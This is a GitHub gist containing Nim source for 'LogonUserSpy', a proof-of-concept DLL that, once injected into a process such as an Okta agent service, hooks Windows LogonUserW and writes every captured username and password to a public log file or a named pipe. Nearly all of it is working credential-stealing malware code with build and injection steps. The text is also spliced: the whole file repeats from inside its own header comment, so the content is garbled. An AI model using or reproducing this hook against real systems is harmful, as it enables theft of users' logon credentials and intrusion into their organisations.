Skip to content

Instantly share code, notes, and snippets.

@rotarydrone
Last active March 31, 2025 07:06
Show Gist options
  • Save rotarydrone/645f77f7e778da75800d1cde4013da2f to your computer and use it in GitHub Desktop.
Save rotarydrone/645f77f7e778da75800d1cde4013da2f to your computer and use it in GitHub Desktop.
LogonUserSpy.nim - Hooking advapi32!LogonUserW to log credentials
#[
PoC for hooking advapi32!LogonUserW to log credentials
Patch and restore the function when called, original credit for 99% of the code is here: https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/Hook.nim
Log to a named pipe server (must be started/managed by separate listener), and/or log to a file
by default, just logs to C:\users\public\log.txt
Compile:
nim c -d=mingw --app=lib -d:release --nomain LogonUserSpy.nim
Use:#[
PoC for hooking advapi32!LogonUserW to log credentials
Patch and restore the function when called, original credit for 99% of the code is here: https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/Hook.nim
Log to a named pipe server (must be started/managed by separate listener), and/or log to a file
Compile:
nim c -d=mingw --app=lib -d:release --nomain LogonUserSpy.nim
Use:
(If named pipe): Start named pipe server/handler
Inject DLL into target process (e.g OktaAgentService)
]#
import winim
import std/strformat
type
typeLogonUserW* = proc (username: LPCWSTR, domain: LPCWSTR, password: LPCWSTR, logonType: DWORD, logonProvider: DWORD, hToken: PTR): bool {.stdcall.}
type
MyNtFlushInstructionCache* = proc (processHandle: HANDLE, baseAddress: PVOID, numberofBytestoFlush: ULONG): NTSTATUS {.stdcall.}
type
HookedFunction* {.bycopy.} = object
origFunction*: typeLogonUserW
functionStub*: array[16, BYTE]
HookTrampolineBuffers* {.bycopy.} = object
originalBytes*: HANDLE ## (Input) Buffer containing bytes that should be restored while unhooking.
originalBytesSize*: DWORD ## (Output) Buffer that will receive bytes present prior to trampoline installation/restoring.
previousBytes*: HANDLE
previousBytesSize*: DWORD
var ntdlldll = LoadLibraryA("ntdll.dll")
if (ntdlldll == 0):
echo "[X] Failed to load ntdll.dll"
var ntFlushInstructionCacheAddress = GetProcAddress(ntdlldll,"NtFlushInstructionCache")
if isNil(ntFlushInstructionCacheAddress):
echo "[X] Failed to get the address of 'NtFlushInstructionCache'"
var ntFlushInstructionCache*: MyNtFlushInstructionCache
ntFlushInstructionCache = cast[MyNtFlushInstructionCache](ntFlushInstructionCacheAddress)
proc fastTrampoline*(installHook: bool, addressToHook: LPVOID, jumpAddress: LPVOID, buffers: ptr HookTrampolineBuffers = nil): bool
proc restoreHook() : void
var gHookedFunction*: HookedFunction
var LogonUserWddress*: HANDLE
var pipe*: HANDLE
var LogonUserW*: typeLogonUserW
proc connectNamedPipe(): HANDLE =
var pipe: HANDLE = CreateFile(
r"\\.\pipe\oktaspy",
GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0
)
return pipe
proc logCredentialsPipe(username: LPCWSTR, password: LPCWSTR, logonResult: bool): void =
var logonResultstr = "[-] FAILED: "
if logonResult > 0:
logonResultstr = "[+] SUCCESS: "
var data: cstring = fmt"{logonResultstr} {username}:{password}"
var bytesWritten: DWORD
WriteFile(
pipe,
data,
(DWORD) data.len,
addr bytesWritten,
NULL
)
proc logCredentialsFile(username: LPCWSTR, password: LPCWSTR, logonResult: bool): void =
var logonResultstr = "INVALID"
if logonResult > 0:
logonResultstr = "VALID"
let f = open("C:\\users\\public\\log.txt", fmAppend)
defer: f.close()
f.writeLine(fmt"{logonResultstr}|{username}|{password}")
proc myLogonUserW(username: LPCWSTR, domain: LPCWSTR, password: LPCWSTR, logonType: DWORD, logonProvider: DWORD, hToken: PTR): bool =
restoreHook()
var logonResult: BOOL = LogonUserW(username, domain, password, logonType, logonProvider, hToken)
if(fastTrampoline(true, cast[LPVOID](LogonUserWddress), cast[LPVOID](myLogonUserW), nil)):
echo "[+] Re-Hooked 'LogonUserW'"
else:
echo "[-] Failed to re-hook 'LogonUserW'"
#logCredentialsPipe(username, password, logonResult)
logCredentialsFile(username, password, logonResult)
return logonResult
proc restoreHook() : void =
var buffers: HookTrampolineBuffers
buffers.originalBytes = cast[HANDLE](addr gHookedFunction.functionStub[0])
buffers.originalBytesSize = DWORD(sizeof(gHookedFunction.functionStub))
if(fastTrampoline(false, cast[LPVOID](LogonUserWddress), cast[LPVOID](myLogonUserW), &buffers)):
echo "[+] Restored 'LogonUserW'"
else:
echo "[-] Failed to restore 'LogonUserW'"
proc fastTrampoline(installHook: bool; addressToHook: LPVOID; jumpAddress: LPVOID;
buffers: ptr HookTrampolineBuffers): bool =
var trampoline: seq[byte]
if defined(amd64):
trampoline = @[
byte(0x49), byte(0xBA), byte(0x00), byte(0x00), byte(0x00), byte(0x00), byte(0x00), byte(0x00), # mov r10, addr
byte(0x00),byte(0x00),byte(0x41), byte(0xFF),byte(0xE2) # jmp r10
]
var tempjumpaddr: uint64 = cast[uint64](jumpAddress)
copyMem(&trampoline[2] , &tempjumpaddr, 6)
elif defined(i386):
trampoline = @[
byte(0xB8), byte(0x00), byte(0x00), byte(0x00), byte(0x00), # mov eax, addr
byte(0x00),byte(0x00),byte(0xFF), byte(0xE0) # jmp eax
]
var tempjumpaddr: uint32 = cast[uint32](jumpAddress)
copyMem(&trampoline[1] , &tempjumpaddr, 3)
var dwSize: DWORD = DWORD(len(trampoline))
var dwOldProtect: DWORD = 0
var output: bool = false
if (installHook):
if (buffers != nil):
if ((buffers.previousBytes == 0) or buffers.previousBytesSize == 0):
echo "[-] Previous Bytes == 0"
return false
copyMem(unsafeAddr buffers.previousBytes, addressToHook, buffers.previousBytesSize)
if (VirtualProtect(addressToHook, dwSize, PAGE_EXECUTE_READWRITE, &dwOldProtect)):
copyMem(addressToHook, addr trampoline[0], dwSize)
output = true
else:
if (buffers != nil):
if ((buffers.originalBytes == 0) or buffers.originalBytesSize == 0):
echo "[-] Original Bytes == 0"
return false
dwSize = buffers.originalBytesSize
if (VirtualProtect(addressToHook, dwSize, PAGE_EXECUTE_READWRITE, &dwOldProtect)):
copyMem(addressToHook, cast[LPVOID](buffers.originalBytes), dwSize)
output = true
var status = ntFlushInstructionCache(GetCurrentProcess(), addressToHook, dwSize)
if (status == 0):
echo "[+] NtFlushInstructionCache success"
else:
echo "[-] NtFlushInstructionCache failed: ", toHex(status)
VirtualProtect(addressToHook, dwSize, dwOldProtect, &dwOldProtect)
return output
proc hookFunction(funcname: string, dllName: LPCSTR, hookFunction: LPVOID): bool =
var addressToHook: LPVOID = cast[LPVOID](GetProcAddress(GetModuleHandleA(dllName), funcname))
LogonUserWddress = cast[HANDLE](addressToHook)
var buffers: HookTrampolineBuffers
var output: bool = false
if (addressToHook == nil):
return false
buffers.previousBytes = cast[HANDLE](addressToHook)
buffers.previousBytesSize = DWORD(sizeof(addressToHook))
gHookedFunction.origFunction = cast[typeLogonUserW](addressToHook)
var pointerToOrigBytes: LPVOID = addr gHookedFunction.functionStub
copyMem(pointerToOrigBytes, addressToHook, 16)
output = fastTrampoline(true, cast[LPVOID](addressToHook), hookFunction, &buffers)
return output
proc installHooks(): bool =
#pipe = connectNamedPipe()
echo "[*] Loading advapi32.dll"
var advapi32dll = LoadLibraryA("advapi32.dll")
if (advapi32dll == 0):
echo "[-] Failed to load advapi32.dll"
return false
echo "[*] Getting the address of 'LogonUserW'"
LogonUserWddress = cast[HANDLE](GetProcAddress(advapi32dll,"LogonUserW"))
if (LogonUserWddress == 0):
echo "[X] Failed to get the address of 'LogonUserW'"
return false
LogonUserW = cast[typeLogonUserW](LogonUserWddress)
echo "[*] Hooking 'LogonUserW'"
if (hookFunction("LogonUserW", "advapi32.dll", cast[LPVOID](myLogonUserW))):
echo "[+] Hooked 'LogonUserW'"
else:
echo "[-] Failed to hook 'LogonUserW'"
return false
return true
proc NimMain() {.cdecl, importc.}
proc DllMain(hinstDLL: HINSTANCE, fdwReason: DWORD, lpvReserved: LPVOID) : BOOL {.stdcall, exportc, dynlib.} =
NimMain()
if fdwReason == DLL_PROCESS_ATTACH:
discard installHooks()
return true
(If named pipe): Start named pipe server/handler
Inject DLL into target process (e.g OktaAgentService)
]#
import winim
import std/strformat
type
typeLogonUserW* = proc (username: LPCWSTR, domain: LPCWSTR, password: LPCWSTR, logonType: DWORD, logonProvider: DWORD, hToken: PTR): bool {.stdcall.}
type
MyNtFlushInstructionCache* = proc (processHandle: HANDLE, baseAddress: PVOID, numberofBytestoFlush: ULONG): NTSTATUS {.stdcall.}
type
HookedFunction* {.bycopy.} = object
origFunction*: typeLogonUserW
functionStub*: array[16, BYTE]
HookTrampolineBuffers* {.bycopy.} = object
originalBytes*: HANDLE ## (Input) Buffer containing bytes that should be restored while unhooking.
originalBytesSize*: DWORD ## (Output) Buffer that will receive bytes present prior to trampoline installation/restoring.
previousBytes*: HANDLE
previousBytesSize*: DWORD
var ntdlldll = LoadLibraryA("ntdll.dll")
if (ntdlldll == 0):
echo "[X] Failed to load ntdll.dll"
var ntFlushInstructionCacheAddress = GetProcAddress(ntdlldll,"NtFlushInstructionCache")
if isNil(ntFlushInstructionCacheAddress):
echo "[X] Failed to get the address of 'NtFlushInstructionCache'"
var ntFlushInstructionCache*: MyNtFlushInstructionCache
ntFlushInstructionCache = cast[MyNtFlushInstructionCache](ntFlushInstructionCacheAddress)
proc fastTrampoline*(installHook: bool, addressToHook: LPVOID, jumpAddress: LPVOID, buffers: ptr HookTrampolineBuffers = nil): bool
proc restoreHook() : void
var gHookedFunction*: HookedFunction
var LogonUserWddress*: HANDLE
var pipe*: HANDLE
var LogonUserW*: typeLogonUserW
proc connectNamedPipe(): HANDLE =
var pipe: HANDLE = CreateFile(
r"\\.\pipe\oktaspy",
GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0
)
return pipe
proc logCredentialsPipe(username: LPCWSTR, password: LPCWSTR, logonResult: bool): void =
var logonResultstr = "[-] FAILED: "
if logonResult > 0:
logonResultstr = "[+] SUCCESS: "
var data: cstring = fmt"{logonResultstr} {username}:{password}"
var bytesWritten: DWORD
WriteFile(
pipe,
data,
(DWORD) data.len,
addr bytesWritten,
NULL
)
proc logCredentialsFile(username: LPCWSTR, password: LPCWSTR, logonResult: bool): void =
var logonResultstr = "INVALID"
if logonResult > 0:
logonResultstr = "VALID"
let f = open("C:\\users\\public\\log.txt", fmAppend)
defer: f.close()
f.writeLine(fmt"{logonResultstr}|{username}|{password}")
proc myLogonUserW(username: LPCWSTR, domain: LPCWSTR, password: LPCWSTR, logonType: DWORD, logonProvider: DWORD, hToken: PTR): bool =
restoreHook()
var logonResult: BOOL = LogonUserW(username, domain, password, logonType, logonProvider, hToken)
if(fastTrampoline(true, cast[LPVOID](LogonUserWddress), cast[LPVOID](myLogonUserW), nil)):
echo "[+] Re-Hooked 'LogonUserW'"
else:
echo "[-] Failed to re-hook 'LogonUserW'"
#logCredentialsPipe(username, password, logonResult)
logCredentialsFile(username, password, logonResult)
return logonResult
proc restoreHook() : void =
var buffers: HookTrampolineBuffers
buffers.originalBytes = cast[HANDLE](addr gHookedFunction.functionStub[0])
buffers.originalBytesSize = DWORD(sizeof(gHookedFunction.functionStub))
if(fastTrampoline(false, cast[LPVOID](LogonUserWddress), cast[LPVOID](myLogonUserW), &buffers)):
echo "[+] Restored 'LogonUserW'"
else:
echo "[-] Failed to restore 'LogonUserW'"
proc fastTrampoline(installHook: bool; addressToHook: LPVOID; jumpAddress: LPVOID;
buffers: ptr HookTrampolineBuffers): bool =
var trampoline: seq[byte]
if defined(amd64):
trampoline = @[
byte(0x49), byte(0xBA), byte(0x00), byte(0x00), byte(0x00), byte(0x00), byte(0x00), byte(0x00), # mov r10, addr
byte(0x00),byte(0x00),byte(0x41), byte(0xFF),byte(0xE2) # jmp r10
]
var tempjumpaddr: uint64 = cast[uint64](jumpAddress)
copyMem(&trampoline[2] , &tempjumpaddr, 6)
elif defined(i386):
trampoline = @[
byte(0xB8), byte(0x00), byte(0x00), byte(0x00), byte(0x00), # mov eax, addr
byte(0x00),byte(0x00),byte(0xFF), byte(0xE0) # jmp eax
]
var tempjumpaddr: uint32 = cast[uint32](jumpAddress)
copyMem(&trampoline[1] , &tempjumpaddr, 3)
var dwSize: DWORD = DWORD(len(trampoline))
var dwOldProtect: DWORD = 0
var output: bool = false
if (installHook):
if (buffers != nil):
if ((buffers.previousBytes == 0) or buffers.previousBytesSize == 0):
echo "[-] Previous Bytes == 0"
return false
copyMem(unsafeAddr buffers.previousBytes, addressToHook, buffers.previousBytesSize)
if (VirtualProtect(addressToHook, dwSize, PAGE_EXECUTE_READWRITE, &dwOldProtect)):
copyMem(addressToHook, addr trampoline[0], dwSize)
output = true
else:
if (buffers != nil):
if ((buffers.originalBytes == 0) or buffers.originalBytesSize == 0):
echo "[-] Original Bytes == 0"
return false
dwSize = buffers.originalBytesSize
if (VirtualProtect(addressToHook, dwSize, PAGE_EXECUTE_READWRITE, &dwOldProtect)):
copyMem(addressToHook, cast[LPVOID](buffers.originalBytes), dwSize)
output = true
var status = ntFlushInstructionCache(GetCurrentProcess(), addressToHook, dwSize)
if (status == 0):
echo "[+] NtFlushInstructionCache success"
else:
echo "[-] NtFlushInstructionCache failed: ", toHex(status)
VirtualProtect(addressToHook, dwSize, dwOldProtect, &dwOldProtect)
return output
proc hookFunction(funcname: string, dllName: LPCSTR, hookFunction: LPVOID): bool =
var addressToHook: LPVOID = cast[LPVOID](GetProcAddress(GetModuleHandleA(dllName), funcname))
LogonUserWddress = cast[HANDLE](addressToHook)
var buffers: HookTrampolineBuffers
var output: bool = false
if (addressToHook == nil):
return false
buffers.previousBytes = cast[HANDLE](addressToHook)
buffers.previousBytesSize = DWORD(sizeof(addressToHook))
gHookedFunction.origFunction = cast[typeLogonUserW](addressToHook)
var pointerToOrigBytes: LPVOID = addr gHookedFunction.functionStub
copyMem(pointerToOrigBytes, addressToHook, 16)
output = fastTrampoline(true, cast[LPVOID](addressToHook), hookFunction, &buffers)
return output
proc installHooks(): bool =
#pipe = connectNamedPipe()
echo "[*] Loading advapi32.dll"
var advapi32dll = LoadLibraryA("advapi32.dll")
if (advapi32dll == 0):
echo "[-] Failed to load advapi32.dll"
return false
echo "[*] Getting the address of 'LogonUserW'"
LogonUserWddress = cast[HANDLE](GetProcAddress(advapi32dll,"LogonUserW"))
if (LogonUserWddress == 0):
echo "[X] Failed to get the address of 'LogonUserW'"
return false
LogonUserW = cast[typeLogonUserW](LogonUserWddress)
echo "[*] Hooking 'LogonUserW'"
if (hookFunction("LogonUserW", "advapi32.dll", cast[LPVOID](myLogonUserW))):
echo "[+] Hooked 'LogonUserW'"
else:
echo "[-] Failed to hook 'LogonUserW'"
return false
return true
proc NimMain() {.cdecl, importc.}
proc DllMain(hinstDLL: HINSTANCE, fdwReason: DWORD, lpvReserved: LPVOID) : BOOL {.stdcall, exportc, dynlib.} =
NimMain()
if fdwReason == DLL_PROCESS_ATTACH:
discard installHooks()
return true
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment